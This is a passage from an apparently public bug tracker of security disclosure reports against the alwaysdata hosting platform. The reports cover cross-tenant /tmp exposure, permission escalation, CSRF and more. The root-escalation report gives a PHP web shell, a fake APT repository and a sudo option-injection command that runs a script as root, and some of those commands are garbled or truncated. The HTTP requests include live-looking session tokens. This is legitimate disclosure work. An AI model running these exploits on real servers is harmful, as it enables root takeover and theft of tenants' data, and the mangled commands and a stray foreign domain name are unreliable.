Contents (verbatim):
```json <REDACTED> ```
### Step 3 — Decode the stolen JWT
``` <REDACTED> ```
This gives the attacker: - The victim's email address - Their user ID - A valid authentication token (HS512-signed JWT) - Their real-time WebSocket subscription channel
### Step 4 — Use the stolen token (impact demonstration)
The stolen JWT can be used as a Bearer token to authenticate API requests as the victim user, or to subscribe to their WebSocket channel for real-time data interception.
Note: I did NOT use the stolen token. The PoC stops at reading the file content to prove the vulnerability exists.
## Root Cause
Two issues combine to create this vulnerability:
1. Shared `/tmp` directory: All tenants on server `http21` share the same `/tmp` filesystem. There is no per-tenant isolation (no `PrivateTmp=yes`, no mount namespaces, no separate tmp directories).
2. World-readable file permissions: The victim application writes its session file with `644` permissions (`-rw-r–r–`), making it readable by any user on the system. While this is partly the victim app's fault, the hosting platform should enforce tenant isolation regardless of individual applications' file permission choices.
## Relationship to Report 03 (Cross-Tenant /tmp Exposure)
Report 03 documented that `/tmp` is shared and that other tenants' files are visible. This report demonstrates the critical impact of that same issue: not just filenames, but actual authentication credentials are exposed.
Aspect Report 03 This Report ——– ———– ————- Root cause Shared /tmp Same Evidence Filenames only Full file contents with tokens Impact Information disclosure Account takeover Severity Medium-High Critical ## Impact
1. Session hijacking: Steal any tenant's session tokens stored in `/tmp` 2. Account takeover: Use stolen JWT tokens to authenticate as the victim 3. Real-time surveillance: Subscribe to victim's Mercure/WebSocket channels 4. Email access: The token reveals the victim's email address for further attacks 5. Mass exploitation: Any tenant on the same server can read all world-readable session files from all other tenants
## Attack Automation
```bash <REDACTED> ```
## Suggested Fix
1. Per-tenant /tmp isolation (primary fix):
Use `PrivateTmp=yes` in systemd service units Or mount separate tmpfs per tenant Or use Linux mount namespaces to give each tenant their own /tmp view 2. Restrict /tmp permissions (defense in depth):
Set the sticky bit on /tmp (should already be set, but verify) Enable `fs.protected_regular` sysctl to prevent following of others' files Use ACLs to restrict cross-tenant file access 3. Application-level guidance:
Advise users to set session file permissions to `600` Provide per-tenant session directories (e.g., `/home/username/tmp/`)
Thanks
|
|
388 | Privilege Escalation — Free-Tier User Sets Reseller-Lev ... | Closed | 13.07.2026 |
Task Description
## Summary
The admin panel's "Add permission" form (`/permissions/add/`) exposes and processes two reseller-only checkboxes for ALL users, including free-tier accounts:
- `customer_full_accounts` — "Full technical access on all accounts" - `customer_full_servers` — "Full technical access on all servers"
I created a permission entry with both flags enabled from a free-tier (non-reseller) account. The server accepted the request with `302 Found` ("Successfully created"), and the edit page confirmed both flags were checked and stored.
Relationship to FS#349 : FS#349 reported "Reseller-Level Permission Flags Accessible to Regular Customers" and was closed. This demonstrates the fix is incomplete — the form still renders these checkboxes and the backend still processes them for non-reseller users.
## Severity
Medium-High (CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Account type Free tier, individual — NOT a reseller Permission ID (test) 473473 (created then deleted during testing) ## Steps to Reproduce
### Step 1 — Navigate to "Add permission" page
URL: `https://admin.alwaysdata.com/permissions/add/`
The form displays reseller-only checkboxes to a free-tier user:
```html <h3>Global permissions</h3>
<input type="checkbox" name="customer_full_accounts" id="id_customer_full_accounts"> All permissions (accounts) — Full technical access on all accounts.
<input type="checkbox" name="customer_full_servers" id="id_customer_full_servers"> All permissions (servers) — Full technical access on all servers. ```
These checkboxes should not be visible or processable for a non-reseller account.
### Step 2 — Submit form with reseller flags enabled
```http POST /permissions/add/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: django_language=en; csrftoken=q7EcXaqpfiTzZoszNjRvPxqcdOsPdp7v; sessionid=dsnux6mbw22dyhuq1g30pr0jii9tm6n0 Referer: https://admin.alwaysdata.com/permissions/add/ Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=tuowwYz11Mh9tc0a8sCKPLsv6SYA1hBuJrSyjYPg6U0yiqizLBj5u8Ix9wgf4wyP &email=test-escalation-bypass@protonmail.com &customer_full_accounts=on &customer_full_servers=on &customer_account=on &account=486630 &486630_account_contact_technical=on &486630_account_usage=on &486630_account_resources=on ```
Response:
```http HTTP/1.1 302 Found Location: /permissions/ Set-Cookie: messages=[…"Successfully created."] ```
### Step 3 — Verify flags stored on edit page
```http GET /permissions/473473/ HTTP/1.1 Host: admin.alwaysdata.com ```
Response (HTML excerpt):
```html <input type="email" name="email" value="test-escalation-bypass@protonmail.com" readonly>
<input type="checkbox" name="customer_full_accounts" … checked> All permissions (accounts) — Full technical access on all accounts.
<input type="checkbox" name="customer_full_servers" … checked> All permissions (servers) — Full technical access on all servers. ```
Both `customer_full_accounts` and `customer_full_servers` are checked. The server stored the reseller-level flags from a free-tier account.
### Step 4 — Immediate cleanup
```http POST /permissions/473473/delete/ HTTP/1.1 Host: admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=We6XDLcsmKmQYQFIcTUdy82sevfPZhwucbAZqLsHrS5fN4X7P2Bydviuh9xu2wtP ```
Response: `302 Found` — successfully deleted.
## FS#349 Bypass Evidence
FS#349 was closed. The fix is incomplete at two layers:
1. Frontend: The reseller checkboxes are still rendered for non-reseller users 2. Backend (critical): The form processes and stores `customer_full_accounts=on` and `customer_full_servers=on` even when the submitting user is not a reseller — no server-side authorization check
Even if the checkboxes were hidden from the UI, an attacker could manually add these form fields to the POST request body.
## Impact
A free-tier user can create permission entries with reseller-level flags:
- `customer_full_accounts`: For a reseller with multiple hosting accounts, this grants the invited email complete technical control over every account. For a single-account user, the blast radius is limited but the authorization bypass is real. - `customer_full_servers`: For a reseller with dedicated servers, this grants full server-level access.
The attack chain for real-world exploitation: 1. Attacker creates a permission entry on their own free account with both flags enabled 2. If the attacker later upgrades to reseller or gains access to a reseller account, these flags are already in place 3. Alternatively, social engineering: if an attacker tricks a reseller into adding a permission via a pre-crafted URL or form, the flags could grant full access
## Suggested Fix
1. Server-side enforcement (critical): Check `request.user.is_reseller` before including `customer_full_accounts` and `customer_full_servers` in the accepted form fields. Strip these from POST data if the user is not a reseller. 2. Frontend cleanup: Conditionally render these checkboxes only for reseller accounts.
Thanks
|
|
375 | Cross-Site Request Forgery (CSRF) Allows Restart of An ... | Closed | 13.07.2026 |
Task Description
## Description
A Cross-Site Request Forgery (CSRF) vulnerability exists in the service management functionality. The application does not properly validate whether a service restart request originates from a legitimate user action.
By crafting a malicious CSRF proof-of-concept (PoC) and replacing the service identifier with a victim's service ID, an attacker can cause the victim's browser to send an authenticated request that restarts the victim's service without their knowledge or consent.
This vulnerability allows unauthorized state-changing actions to be performed on behalf of authenticated users.
—
## CVSS v3.1
Base Score: 4.5 (MEDIUM)
—
# Steps to Reproduce
1. Log in with an attacker account. 2. Navigate to the Services section. 3. Create a new service. 4. Open another browser (or private window) and log in as a victim. 5. Create a service in the victim account. 6. Return to the attacker account. 7. Trigger the Restart Service functionality. 8. Capture the restart request using Burp Suite. 9. Use Burp Suite's Engagement Tools to generate a CSRF PoC. 10. Save the generated HTML file. 11. Replace the attacker's `service_id` with the victim's `service_id`. 12. Modify the request method from POST to GET. 13. Open the modified PoC in the victim's authenticated browser. 14. Click Submit. 15. Observe that the victim's service is restarted successfully without the victim intentionally initiating the request. 16. Verify the restart by checking the service logs.
—
# Actual Behaviour
The application processes the forged request using the victim's authenticated session, allowing the victim's service to be restarted without verifying the request's origin or intent.
—
# Expected Behaviour
The application should reject forged cross-origin requests. Every state-changing action should require valid CSRF protection and proper server-side validation so that only requests intentionally initiated by the authenticated user are accepted.
—
# Impact
* Unauthorized restart of another user's services. * Service interruption without user consent. * Attackers can repeatedly restart services, affecting availability. * Users can be forced into unexpected downtime simply by visiting a malicious webpage while authenticated.
—
# Business Impact
* Reduced service availability and reliability. * Potential disruption of customer-hosted applications. * Loss of customer trust due to unauthorized actions. * Increased support requests resulting from unexplained service restarts. * Possible abuse for denial-of-service against targeted users by repeatedly triggering service restarts.
—
# Remediation
* Implement robust anti-CSRF tokens for all state-changing requests. * Validate the CSRF token on the server before processing the request. * Ensure state-changing operations are not performed through GET requests. * Validate the `Origin` and `Referer` headers where appropriate. * Use the `SameSite` attribute (`Lax` or `Strict`) on session cookies to reduce CSRF risk. * Require explicit user confirmation or re-authentication for sensitive administrative actions when appropriate.
—
# Proof of Concept (PoC)
Google Drive Link: https://drive.google.com/file/d/1EQgdh2HhlPqN1VJXeTHQLhMkmkciEwqJ/view?usp=sharing
—
# Conclusion
The application is vulnerable to Cross-Site Request Forgery (CSRF), allowing attackers to trigger unauthorized service restarts on behalf of authenticated users. Because restarting services directly impacts availability and can disrupt customer workloads, this issue represents a significant security risk. Implementing proper CSRF protections and server-side request validation will effectively mitigate the vulnerability and prevent unauthorized state-changing actions.
Thanks
|
|
371 | attacker test | Closed | 12.07.2026 |
Task Description
attacker testd
|
|
368 | test | Closed | 11.07.2026 |
Task Description
test
|
|
367 | Root Privilege Escalation via Sudo Option Injection | Closed | 10.07.2026 |
Task Description
Root Privilege Escalation via Sudo Option Injection
Summary
Any shared hosting user can gain root access on the server by exploiting an unquoted variable in /alwaysdata/sbin/install_language_package. This script runs via sudo without a password. The attacker injects APT options through the language name parameter, causing apt-get to execute an arbitrary script as root before package installation.
The Flaw
Line 50 of /alwaysdata/sbin/install_language_package: apt-get –yes install $PACKAGE $PACKAGE is unquoted — bash splits it on spaces, and injected -o Dpkg::Pre-Invoke::=/tmp/evil.sh becomes an APT option that runs a script as root.
Impact
- Root on a shared server with 8,957 accounts - Read/modify all other users' files, databases, emails - Read server secrets (SSL keys, passwords, configs) - Install persistent backdoors
Steps to Reproduce
1. Upload a PHP web shell to your ~/www/ (needed because SSH blocks sudo via NoNewPrivs): <?php echo shell_exec($_GET['c']); ?>
2. Create a fake APT repo with a package whose Maintainer contains @alwaysdata mkdir -p /tmp/fakerepo/dists/stable/main/binary-amd64 /tmp/fakerepo/pool /tmp/fakerepo/lists/partial /tmp/fakedeb/DEBIAN /tmp/fakedeb2/DEBIAN
echo -e "Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <don: x" > /tmp/fakedeb/DEBIAN/control dpkg-deb –build /tmp/fakedeb /tmp/fakerepo/pool/java_99.0_amd64.deb
echo -e "Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <dev: x" > /tmp/fakedeb2/DEBIAN/control dpkg-deb –build /tmp/fakedeb2 /tmp/fakerepo/pool/21_99.0_amd64.deb
cd /tmp/fakerepo && dpkg-scanpackages pool /dev/null > dists/stable/main/binar cp dists/stable/main/binary-amd64/Packages lists/_tmp_fakerepo_dists_stable_main_binary-amd64_Packages echo 'deb [trusted=yes] file:///tmp/fakerepo stable main' > sources.list
3. Create payload (filename must end with -21.0.8 — the resolved version gets appended): echo '#!/bin/sh id > /tmp/proof.txt' > /tmp/rk.sh-21.0.8 chmod +x /tmp/rk.sh-21.0.8
4. Run the exploit: sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fakerepo/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fakerepo/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21"
5. Verify: cat /tmp/proof.txt Output: uid=0(root) gid=0(root) groups=0(root)
Remediation
1. Quote $PACKAGE on line 50 — change apt-get –yes install $PACKAGE to apt-get –yes install "$PACKAGE" (also quote $LANGUAGE and $PACKAGE on lines 16, 33, 39) 2. Validate input — reject $LANGUAGE and $VERSION values containing anything outside [a-zA-Z0-9._]
|
|
366 | Broken Access Control – Revoked User Can Access Histori ... | Closed | 09.07.2026 |
Task Description
Description After a user's mailbox permissions are revoked, the application correctly removes access to the mailbox through the user interface. However, the server still allows the user to directly access previously generated mailbox audit logs by requesting the log endpoint with the corresponding log ID.
This indicates that the application does not enforce authorization checks on the audit log resource based on the user's current permissions. As a result, a user whose mailbox access has been revoked can continue to access historical audit logs related to that mailbox.
CVSS v3.1 → Score: 4.3 (Medium)
Note: If the audit logs expose sensitive mailbox configuration or confidential information, the severity may be higher.
Steps to Reproduce 1- Login with User A. 2- Invite User B as an Administrator with mailbox management permissions. 3- Login as User B. 4- Navigate to the mailbox settings and make any configuration change. 5- Verify that an audit log entry is created for the action. 6- Login as User A and revoke User B's mailbox permissions. 7- Confirm that the mailbox section is no longer accessible through the UI for User B. 8- Login again as User B. 9- Intercept the request used to retrieve an audit log (or directly access the audit log endpoint). 10- Replace the current log ID with the previously generated mailbox audit log ID. 11- Send the request.
Actual Behaviour → Even after mailbox permissions have been revoked, the server returns the historical mailbox audit log when the user directly requests it using the known log ID.
Expected Behaviour → Once mailbox permissions are revoked, the server should validate the user's current authorization before returning any mailbox-related audit logs. Unauthorized users should receive 403 Forbidden (or an equivalent authorization error).
Impact → Users can continue accessing mailbox-related audit logs after losing mailbox permissions. → Authorization is enforced only in the UI, not on the backend resource. → Historical mailbox activity remains accessible despite permission revocation.
Business Impact → Violates the principle of least privilege. → Former administrators or users with revoked access may continue viewing historical mailbox activity. → May expose operational or sensitive mailbox information depending on the audit log contents. → Indicates inconsistent server-side authorization checks, increasing the risk of similar access control issues elsewhere in the application.
Remediation → Perform server-side authorization checks for every audit log request. → Validate the user's current permissions before returning mailbox-related logs. → Return 403 Forbidden when the user is no longer authorized. → Ensure audit log access follows the same permission model as the underlying mailbox resource.
Proof of Concept (PoC) Google Drive Link: https://drive.google.com/drive/folders/1c3fthnH3Vfq60bd4RacM3_aHF8zgmw88?usp=drive_link
Conclusion The application fails to properly enforce server-side authorization on mailbox audit log resources. Although mailbox access is removed from the user interface after permission revocation, previously generated audit logs remain accessible through direct requests using known log IDs. This represents a Broken Access Control issue because authorization is not consistently enforced on the backend.
Thanks
|
|
365 | Cross-Site Request Forgery (CSRF) in Notification "Seen ... | Closed | 03.07.2026 |
Task Description
Description
The application is vulnerable to Cross-Site Request Forgery (CSRF) on the notification "Seen" endpoint. An attacker can craft a malicious HTML page that silently triggers the notification "seen" request from a victim's browser while the victim is authenticated.
Because the endpoint accepts the request without validating a CSRF token or verifying the request origin, the victim's notification status is changed without their knowledge or consent.
Although this does not expose sensitive information, it allows unauthorized modification of user data, violating the integrity of the victim's account.
CVSS v3.1 → Score: 4.3 (Medium)
Steps to Reproduce
Login to Attacker Account (Account A) using Firefox.
Navigate to Notifications.
Ensure at least one notification is available.
Enable Burp Suite Intercept.
Click Seen on a notification.
Capture the request.
Send the request to Burp Engagement Tools.
Generate a CSRF PoC.
Modify the generated PoC by changing:
method="POST" to method="GET"
-
Login to Victim Account (Account B) using another browser (Chrome).
Ensure the victim has at least one unread notification.
Open the generated CSRF PoC in the victim's browser.
Click Submit Request.
Observe that the victim's notification is automatically marked as Seen without the victim performing the action.
Actual Behaviour
The notification is marked as Seen in the victim's account simply by visiting and submitting the attacker-controlled HTML page.
No CSRF protection, Origin validation, or SameSite-based mitigation prevents the request.
Expected Behaviour
The server should reject any state-changing request that does not contain a valid CSRF token and should verify the request originates from a trusted source.
Only the authenticated user performing the action from the legitimate application should be able to mark notifications as Seen.
Impact
Unauthorized modification of notification status.
Attackers can manipulate notification state without user consent.
Users may miss important notifications because they appear as already read.
Demonstrates missing CSRF protection on a state-changing endpoint.
Indicates other sensitive endpoints may also be vulnerable to CSRF.
Business Impact
Loss of integrity of user account data.
Important alerts, security notifications, or business messages may be marked as read without the user's knowledge.
Reduced user trust due to unauthorized account actions.
Reveals a security control weakness that could affect higher-risk endpoints if the same protection is missing elsewhere.
Remediation
Implement anti-CSRF tokens for all state-changing requests.
Validate the Origin and Referer headers.
Use SameSite=Lax or preferably SameSite=Strict for session cookies where appropriate.
Ensure endpoints that modify data only accept the intended HTTP method (e.g., POST) and cannot be invoked via GET.
Follow the Synchronizer Token Pattern or another robust CSRF defense mechanism across the application.
Video Proof of Concept:
Google Drive link → https://drive.google.com/drive/folders/1v9Y7TFbgv-FFztKX23aL_ZNkDu3GCqWT?usp=drive_link
Conclusion
The notification "Seen" endpoint lacks proper CSRF protection, allowing an attacker to force authenticated users to unknowingly mark their notifications as read. While the immediate impact is limited to unauthorized state modification, it represents a clear integrity issue and indicates that CSRF protections may be absent from other state-changing endpoints. Implementing standard CSRF defenses will prevent unauthorized cross-site requests and strengthen the application's overall security posture.
Thanks
|
|
364 | Bug bounty — cross-tenant /tmp disclosure (FS#363) umas ... | Closed | 02.07.2026 |
Task Description
Hi,
This is a follow-up to my security report ( FS #363 ) (cross-tenant file disclosure via the shared /tmp on SSH/web hosts: files created with the default umask landed world-readable (0644) and were readable by other tenants on the same host).
You made a change to the non-interactive umask and asked me to confirm it. I've re-tested on ssh1 and can confirm it's fixed:
- umask now returns 0007 in the non-interactive case (ssh <host> umask, bash -c, sh -c), not just interactive shells. Previously all of these returned 0022. - A /tmp file created with the default umask is now 0660 (rw-rw—-) instead of 0644. - My original cross-tenant test no longer works: a second account of mine, in a different group, trying to read that file now gets "Permission denied".
Since the issue was valid, reproducible, and cross-tenant before the fix, I'd like to request a small bounty for the report, at your discretion.
Thank you, Sayada Zannat haque
|
|
363 | Cross-tenant file disclosure via world-readable shared ... | Closed | 02.07.2026 |
Task Description
Vulnerability Name: Cross-tenant file disclosure via world-readable shared `/tmp` on alwaysdata SSH/web hosts
Severity: High CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` CVSS 4.0 score: ~8.2 (High) Target: `ssh-<account>.alwaysdata.net` (physical SSH host `ssh1`) and the web-application hosts (`http21`) — kernel `6.18.30-alwaysdata` Type: CWE-668 (Exposure of Resource to Wrong Sphere) / CWE-732 (Incorrect Permission Assignment) / CWE-200
Description
On alwaysdata's shared hosting infrastructure every customer account on a given physical host shares a single, non-polyinstantiated `/tmp` directory (mode `drwxrwxrwt` / `1777`), while the platform default umask is `022` — so any file a customer writes into `/tmp` is created world-readable (`644`).
Account isolation on these hosts is enforced only by cgroups + per-account Unix UIDs, and SSH is explicitly not chrooted (per alwaysdata's own documentation). As a result, any customer — on any plan, including the free plan — can read any other customer's world-readable files in `/tmp` on the same physical host. This is a cross-tenant confidentiality boundary violation: it lets a low-privileged tenant passively harvest other tenants' source code, configuration, and temporary artifacts.
The condition is confirmed on both the SSH tier (`ssh1`) and the web-application tier (`http21`), indicating it is fleet-wide. (Note: PHP `session.save_path` is per-account, so live sessions are not exposed — which bounds this at High rather than Critical.)
Exposed Endpoints / Affected Components
| Host / component | Path | Mode | Issue |
| — | — | — | — |
| SSH host `ssh1` | `/tmp` | `1777` (shared, not polyinstantiated) | other tenants' world-readable files readable |
| Web host `http21` | `/tmp` | `1777` (shared) | same exposure on the web tier |
| Platform default | umask | `022` | new `/tmp` files created world-readable (`644`) |
Steps to Reproduce
Requires two accounts you control (`A` and `B`, different customers) that land on the same physical host. In this report `A` = `steve-william` (uid 530469), `B` = `test-domain` (uid 530478), both on `ssh1`.
1. Create two free alwaysdata accounts with different emails; enable SSH on each (Remote access → SSH). 2. SSH into account A: `ssh A@ssh-A.alwaysdata.net`. 3. As A, write a file into the shared `/tmp` (created world-readable due to default umask 022):
`echo "SECRET_OF_A" > /tmp/canary_A.txt`
4. In a second terminal, SSH into account B (a *different* customer): `ssh B@ssh-B.alwaysdata.net`. 5. As B, confirm you are a different UID on the same host: `id; hostname`. 6. As B, read account A's file: `cat /tmp/canary_A.txt` → A's content is returned. 7. Enumerate the real cross-tenant exposure (metadata only): `find /tmp -maxdepth 1 -type f ! -user "$(id -un)" -readable`.
Observed live: as account B, 65 files across 12 other live customer accounts were readable, including source archives (`*.tgz`), a config script (`inject_config.py`), an Omeka DB env file (`omeka_db_env_*`), financial PDFs, and cryptocurrency wallet backups. (No third-party file *content* was read — only names/owners/permissions were enumerated, per program rules.)
Proof of Concept (PoC)
Bash PoC Script, Python PoC Script, and other attachments are attached.
Impact
- Cross-tenant confidentiality breach affecting all customers sharing the same physical host. - On the affected host (`ssh1`), approximately 882 customer home directories are co-located, allowing tenants to access world-readable temporary files belonging to other customers. - Sensitive information that may be exposed includes source code, configuration files, temporary application data, and other confidential files. - If a world-readable `.env` or configuration file contains database credentials, an attacker could use those credentials to access the victim's remotely reachable database (e.g., `mysql-<account>.alwaysdata.net:3306` or `postgresql-<account>.alwaysdata.net:5432`). - This could lead to unauthorized access to another customer's database and the data stored within it. - No other customers' files, credentials, or databases were accessed during testing. The impact assessment is based solely on the demonstrated file exposure and the resulting attack path.
- Polyinstantiate `/tmp` (and `/var/tmp`) per account — e.g. `pam_namespace` with per-account instances, or a per-account-namespace private `tmpfs` — so each tenant sees an isolated `/tmp`. - And/or set the platform default umask to `077`. - Optionally enable `fs.protected_regular=2` and per-account `/tmp` reaping.
|
|
362 | Email Verification Bypass via Google OAuth Account Link ... | Closed | 02.07.2026 |
Task Description
Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential authentication and account-linking issue identified during testing of the Google OAuth login functionality. Vulnerability Summary Category: Authentication / Improper Account Verification Severity: High Description During testing, I observed that an account created using the traditional email and password registration process could be linked with a Google OAuth identity before the email address had been verified. Although the application continued to enforce email verification for password-based authentication, the Google OAuth account was successfully associated with the unverified profile. This behavior suggests that OAuth account linking occurs without first confirming that the email ownership verification process has been completed. Additionally, after the OAuth linking process, the application redirected to an OAuth callback endpoint that returned a 404 Page Not Found response, indicating an inconsistency in the authentication workflow. Steps to Reproduce
Register a new account using Email and Password. Do not verify the email address. Log out of the account. Select Sign in with Google. Authenticate using the same Google account associated with the registered email address. Observe that the application sends the following notification: A (Google) OAuth connection has been configured on your profile. Follow the OAuth authentication flow. The application redirects to: /oauth/google/callback/ Observe that the endpoint returns: 404 - Page Not Found Open a new browser session and attempt to log in using the original email and password. The application still requires email verification before allowing password-based authentication. Observed Behavior • Google OAuth successfully links to the account before email verification is completed. • Email/password authentication continues to require email verification. • OAuth callback results in a 404 response, indicating an incomplete or inconsistent authentication flow. Expected Behavior The application should verify ownership of the registered email address before permitting external identity providers (such as Google OAuth) to be linked with the account, unless this behavior is explicitly intended. If OAuth login is intended to satisfy email ownership verification, the application should consistently mark the account as verified and complete the authentication flow without errors. Security Impact Depending on the intended authentication design, this behavior may result in: • Inconsistent authentication state. • Improper account-linking logic. • Potential bypass of email verification requirements. • Confusion regarding account ownership validation. • Increased attack surface if account-linking validation is not consistently enforced. Although I did not observe direct account takeover during testing, the current behavior indicates that the account verification and OAuth linking processes may not be consistently enforced. Recommendation I recommend reviewing the OAuth account-linking workflow to ensure that: • Email ownership verification is consistently enforced before linking external identity providers, or • Successful OAuth authentication is explicitly treated as verified email ownership and the account state is updated accordingly. • OAuth callback endpoints are correctly configured to prevent unexpected 404 responses. • Account verification logic remains consistent across all supported authentication methods. Conclusion The observed behavior suggests an inconsistency between the traditional email verification process and Google OAuth account linking. Reviewing the authentication workflow and enforcing consistent account verification logic will help reduce the risk of authentication-related issues and improve the overall security posture of the platform. This report is submitted under responsible disclosure. I would be happy to provide any additional information or assist with validation if required. Kind regards, Cyber_Subhash
|
|
361 | Broken Access Control / Improper Authorization | Closed | 02.07.2026 |
Task Description
Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential access control issue identified during testing of the user role and permission management functionality. Category: Broken Access Control / Improper Authorization Severity: High Description During testing, I observed that a user assigned only the Billing Contact role is able to invite additional users to the organization. Based on the role description, the Billing Contact permission is intended to provide access to billing-related functionality. However, the ability to invite new users appears to extend beyond the expected responsibilities of a billing-only role. This behavior may violate the Principle of Least Privilege by allowing a non-administrative user to perform account management actions. Steps to Reproduce
Log in as an account administrator. Invite a new user with only the Billing Contact permission. Log in using the Billing Contact account. Navigate to the user or team management section. Observe that the Billing Contact user is able to access the Invite User functionality. Successfully initiate an invitation for another user. Expected Behavior A user assigned only the Billing Contact role should be restricted to billing-related operations and should not be able to invite or manage additional users unless explicitly intended by the role design. Actual Behavior The Billing Contact role is able to invite new users despite being intended for billing-related access. Security Impact If this behavior is not intended, it may allow: • Unauthorized user invitations. • Expansion of account access without administrator approval. • Circumvention of role separation. • Violation of the Principle of Least Privilege. • Increased risk of unauthorized account access. The overall impact depends on the permissions that can be granted to invited users. If elevated roles can be assigned, the security impact could be significantly higher. Recommendation To mitigate this issue, I recommend: • Restricting the Invite User functionality to administrative or dedicated user-management roles. • Reviewing role-based access control (RBAC) permissions to ensure Billing Contact users are limited to billing operations only. • Enforcing server-side authorization checks for all user management actions. • Verifying that non-administrative roles cannot perform account management functions unless explicitly intended. Conclusion The observed behavior suggests that the Billing Contact role may have broader privileges than expected by allowing user invitations. If this is not intended behavior, restricting user management capabilities to authorized administrative roles would improve the application’s access control model and better align with the Principle of Least Privilege. This report is submitted under responsible disclosure. I would be happy to provide additional information or assist with validation if required. Kind regards, Cyber_Subhash Security Researcher
|
|
360 | User Enumeration via Password Reset Functionality | Closed | 02.07.2026 |
Task Description
Dear Security Team,
I hope you are doing well.
I would like to responsibly disclose a security issue identified in the password reset functionality of your application. During testing, I observed that the application returns different responses for registered and non-registered email addresses, which allows an attacker to determine whether a specific email address is associated with a valid user account.
Severity:Medium
Category: Information Disclosure / User Enumeration
Description
The password reset endpoint responds differently based on whether the submitted email address exists in the system.
When a registered email address is entered, the application returns a successful password reset response. However, when an unregistered email address is submitted, the application returns a different error message indicating that the email address does not exist.
This behavior enables an attacker to enumerate valid user accounts by submitting multiple email addresses and comparing the application’s responses.
Steps to Reproduce
Navigate to the **Forgot Password page. Enter a valid, registered email address. Observe the success response indicating that a password reset email has been sent. Repeat the process using an email address that is not registered. Observe that the application returns a different response indicating that the email address does not exist. Compare both responses and note that they reveal whether an email address is registered. Proof of Concept
Registered Email
Email: registered@example.com
Response: "If an account exists, a password reset link has been sent." Unregistered Email
Email: randomuser@example.com
Response: "Email address not found." The difference in these responses allows an attacker to identify valid user accounts.
Security Impact
An attacker can exploit this behavior to:
Enumerate valid user accounts. Identify registered email addresses. Facilitate targeted phishing campaigns. Support credential stuffing or password spraying attacks. Gather intelligence for further attacks against identified users.
Although this issue does not directly expose user credentials, it increases the effectiveness of subsequent attacks by revealing valid account information.
Recommendation
To mitigate this issue:
Return the same generic response regardless of whether the email address exists. Use a consistent HTTP status code for both scenarios. Ensure response bodies, headers, and response timing are as similar as possible. A recommended response is:
“If an account exists for the provided email address, a password reset email will be sent.”
This approach prevents attackers from distinguishing between registered and unregistered email addresses.
Conclusion The password reset functionality currently discloses account existence through differing responses. Standardizing the application’s responses for both valid and invalid email addresses will effectively prevent user enumeration and improve the overall security posture of the application.
I am submitting this report under responsible disclosure and would be happy to provide any additional information or assist with validation if required.
Kind regards,
Cyber_Subhash Security Researcher
|
|
359 | DNSSEC Misconfiguration | Closed | 02.07.2026 |
Task Description
Description: The DNSSEC (Domain Name System Security Extensions) configuration for the domain alwaysdata.com contains critical misconfigurations. DNSSEC is designed to safeguard DNS data from attacks such as cache poisoning and man-in-the-middle (MITM) by ensuring authentication and data integrity through digital signatures.
However, the current implementation for alwaysdata.com is incomplete and improperly configured, rendering DNSSEC ineffective and exposing the domain to potential exploitation.
Findings: Upon detailed analysis of the domain’s DNS records, the following issues were identified:
Unsigned DS Records: The Delegation Signer (DS) records in the parent zone are not correctly signed, breaking the essential chain of trust required for DNSSEC validation. Properly signed DS records are necessary to ensure the integrity of DNS queries.
Invalid RRSIG Records: Several Resource Record Signature (RRSIG) entries in the DNS zone are invalid, indicating key management or signing process failures. These invalid signatures compromise the authenticity and integrity guarantees provided by DNSSEC.
DNSKEY Mismatch: A mismatch exists between the DNSKEY records in the domain’s DNSKEY RRset and those provided in the delegation response from the parent zone. This inconsistency weakens the DNSSEC chain of trust, making the domain susceptible to tampering.
Steps to Reproduce:
Navigate to the DNSSEC debugging tool: https://dnssec-debugger.verisignlabs.com
Enter the domain alwaysdata.com for analysis.
Observe the red-highlighted errors indicating DNSSEC misconfigurations and missing or invalid DNSSEC records.
Impact: Due to these misconfigurations, the domain ballerina.io is vulnerable to several security risks, including:
DNS Cache Poisoning: Attackers can inject forged DNS responses, redirecting users to malicious sites.
Man-in-the-Middle Attacks: Without valid DNSSEC validation, attackers can intercept and alter DNS responses.
Domain Impersonation: Weak or broken DNSSEC allows attackers to impersonate legitimate services under the domain.
Data Tampering: DNS records could be modified, leading to data leaks or loss of service integrity.
Reputation Damage: A compromised DNS configuration undermines user trust and damages the organization’s credibility.
|
|
358 | Inadequate Concurrent Sessions | Closed | 02.07.2026 |
Task Description
Description:
The application https://admin.alwaysdata.com/login/ does not validate the number of active sessions per user, allowing multiple concurrent logins without any limitations. Additionally, the application fails to notify users when a new session is initiated from a different location or device. This issue poses significant security risks, especially in areas handling sensitive data, such as admin panels or personal user accounts.
Steps to Reproduce:
Login from Device A :
Navigate to https://admin.alwaysdata.com/login/ Enter valid credentials and log in. Login from Device B :
Using a different device or browser (e.g., mobile phone or another computer), navigate to https://admin.alwaysdata.com/login/ Log in with the same user credentials used in Step 1. Verify Active Sessions:
Observe that both sessions remain active simultaneously. Note that the application does not notify the user about the new session from a different location/device. Actual Behavior:
The application allows multiple concurrent sessions for a single user account without any limitations. No notifications are sent to the user when a new session is initiated from a different location or device. There is no mechanism to monitor or manage active sessions within the user account. Expected Behavior:
The application should limit the number of active sessions per user to enhance security. Users should receive notifications when a new session is initiated from a different location or device. A session management page should be provided, allowing users to view and terminate active sessions. Impact:
Non-Repudiation Risks : The lack of session notifications and limitations can lead to unauthorized access and actions that are difficult to dispute. Increased Vulnerability : Multiple concurrent sessions increase the risk of unauthorized access, especially if one of the sessions is compromised. Remediation:
User Notification : Notify users when a new session is initiated, especially from a different location or device, to raise awareness of active sessions.
Session Management Page : Provide users with a dedicated session management page to view and terminate active sessions for enhanced control.
IP Address Tracking and Restrictions :
